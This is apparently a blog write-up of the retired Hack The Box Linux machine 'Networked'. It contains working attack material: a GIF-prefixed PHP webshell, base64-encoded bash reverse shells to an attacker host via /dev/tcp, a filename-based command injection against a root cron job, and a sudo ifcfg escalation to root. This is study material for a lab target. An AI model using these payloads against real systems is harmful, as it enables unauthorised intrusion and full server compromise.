~ / foobarto.me / htb-machines
--:--:-- UTC
~ / htb-machines / networked.md

networked

Linux · Easy · released 2019-08-24 · retired 2019-11-16

Summary

Networked is a CentOS Linux Easy with three distinct vulnerability classes chained across three privilege levels. The entire source code is available in a tarball on the web server, making each step an exercise in reading application code before attempting blind exploitation.

The kill-chain is: /backup/backup.tar exposes the PHP source → the upload form checks MIME type (easily spoofed with image magic bytes) and final extension, but saves files with the attacker’s IP as a prefix and preserves the internal extension — and Apache’s AddHandler php5-script .php executes any file containing .php anywhere in its name → double-extension webshell (shell.php.png) lands as www-data → a world-writable uploads directory and a root-owned cron running check_attack.php every three minutes is vulnerable to command injection via filename → shell as gulysudo changename.sh writes values into an ifcfg-* file that is sourced by ifup; a space in the NAME value causes the second word to be executed as a shell command → root.

Source attribution

Recon

nmap -sC -sV -oN nmap/initial.txt <TARGET>
22/tcp  open  ssh   OpenSSH 7.4 (CentOS)
80/tcp  open  http  Apache httpd 2.4.6 (CentOS) PHP/5.4.16
443/tcp closed

The PHP/5.4.16 banner on Apache is significant — PHP 5.4 went EOL in 2015 and is CentOS 7’s default packaged version.

Web enumeration — source exposure via backup.tar

Directory enumeration reveals several paths:

gobuster dir -u http://<TARGET>/ \
    -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
    -x php,html,txt
/backup/     (Status: 301)  ← contains backup.tar
/upload.php  (Status: 200)
/uploads/    (Status: 301)
/photos.php  (Status: 200)

Download and extract the source backup:

wget http://<TARGET>/backup/backup.tar
tar xvf backup.tar
# → index.php  lib.php  photos.php  upload.php

Reading the source before attempting exploitation saves significant time.

Foothold — double-extension webshell via Apache AddHandler

upload.php performs two checks:

  1. MIME type: check_file_type() in lib.php calls file_mime_type() on the uploaded file. If the result starts with image/, the file passes. This reads the file’s magic bytes — but any file can be prefixed with GIF/PNG magic bytes.

  2. Final extension: the code checks that the filename ends with one of .jpg, .png, .gif, .jpeg. This only validates the last extension.

The saved filename is constructed from the attacker’s IP:

// lib.php — getnameUpload splits on first dot only
$pieces = explode('.', $filename);    // ["shell", "php", "png"]
$name = array_shift($pieces);         // "shell"
$ext = implode('.', $pieces);         // "php.png"

// upload.php — saves as <IP_underscored>.<ext>
$name = str_replace('.','_',$_SERVER['REMOTE_ADDR']).'.'.$ext;
// e.g. 10_10_14_5.php.png

The critical piece is /etc/httpd/conf.d/php.conf:

AddHandler php5-script .php

AddHandler (unlike AddType) matches .php anywhere in the filename — including as an intermediate extension. 10_10_14_5.php.png is therefore executed as PHP by Apache.

Craft the webshell:

# prepend GIF magic bytes so MIME check passes
printf 'GIF89a<?php system($_GET["cmd"]); ?>' > shell.php.png

Upload shell.php.png through http://<TARGET>/upload.php. The server saves it as 10_10_14_5.php.png (substituting the attacker IP).

Confirm execution:

curl "http://<TARGET>/uploads/10_10_14_5.php.png?cmd=id"
# → GIF89auid=48(www-data) gid=48(www-data) groups=48(www-data)

Upgrade to a reverse shell (base64-encode to avoid shell metacharacters in the URL):

echo 'bash -i >& /dev/tcp/<ATTACKER>/4444 0>&1' | base64
# → YmFzaCAtaSA+JiAvZGV2L3RjcC8uLi4K

# listener
nc -lvnp 4444

# trigger
curl "http://<TARGET>/uploads/10_10_14_5.php.png" \
    --data-urlencode "cmd=echo YmFzaCAtaSA+JiAvZGV2L3RjcC8uLi4K | base64 -d | bash"

Shell arrives as www-data.

Lateral move — cron command injection via filename

From the www-data shell, enumerate accessible files:

cat /home/guly/crontab.guly
# */3 * * * * php /home/guly/check_attack.php

cat /home/guly/check_attack.php

The script runs as guly every three minutes and processes files in the uploads directory:

$files = preg_grep('/^([^.])/', scandir($path));   // skip dotfiles
foreach ($files as $key => $value) {
    list ($name, $ext) = getnameCheck($value);
    $check = check_ip($name, $value);
    if (!($check[0])) {
        // value is the raw filename — NOT sanitised
        exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
        mail($to, $msg, $msg, $headers, "-F$value");
    }
}

$value is the literal filename. check_ip() returns false for any name that is not a valid IP-format string. The exec() call passes $value directly into a shell command — shell injection via semicolon.

Create an injection payload as a filename in uploads:

cd /var/www/html/uploads
touch 'a; bash -c "bash -i >& /dev/tcp/<ATTACKER>/4445 0>&1" ; b'

When the cron fires (up to 3 minutes), the exec expands to:

nohup /bin/rm -f /var/www/html/uploads/a; bash -c "bash -i >& /dev/tcp/<ATTACKER>/4445 0>&1" ; b > /dev/null 2>&1 &

Set up a listener on 4445 before creating the file:

nc -lvnp 4445

Shell arrives as guly. user.txt is at /home/guly/user.txt.

Privilege escalation — ifcfg value sourcing via sudo changename.sh

guly@networked:~$ sudo -l
User guly may run the following commands on networked:
    (root) NOPASSWD: /usr/local/sbin/changename.sh

The script reads values for NAME, PROXY_METHOD, BROWSER_ONLY, and BOOTPROTO and writes them into /etc/sysconfig/network-scripts/ifcfg-guly, then calls /sbin/ifup guly0.

regexp="^[a-zA-Z0-9_\ /-]+$"
# ...
for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
    read x
    while [[ ! $x =~ $regexp ]]; do ... done
    echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done
/sbin/ifup guly0

The regex explicitly allows spaces (\ in the character class).

On RHEL/CentOS, ifup sources the ifcfg-* file using bash’s . (dot) builtin — effectively source /etc/sysconfig/network-scripts/ifcfg-guly. When bash sources a file and a variable value contains a space, the portion after the space is treated as a command in certain parsing contexts. In practice, a line like NAME=a /bin/bash in an ifcfg file causes /bin/bash to be executed as root when ifup sources it.

sudo /usr/local/sbin/changename.sh

At each prompt, enter a value containing a space followed by /bin/bash:

interface NAME:
a /bin/bash
interface PROXY_METHOD:
a /bin/bash
interface BROWSER_ONLY:
a /bin/bash
interface BOOTPROTO:
a /bin/bash

When ifup sources the resulting ifcfg-guly, /bin/bash executes as root:

[root@networked network-scripts]# id
uid=0(root) gid=0(root) groups=0(root)

root.txt is at /root/root.txt.

Why each step worked

Counterfactuals

Key Takeaways

References

← all htb machines hackthebox.com ↗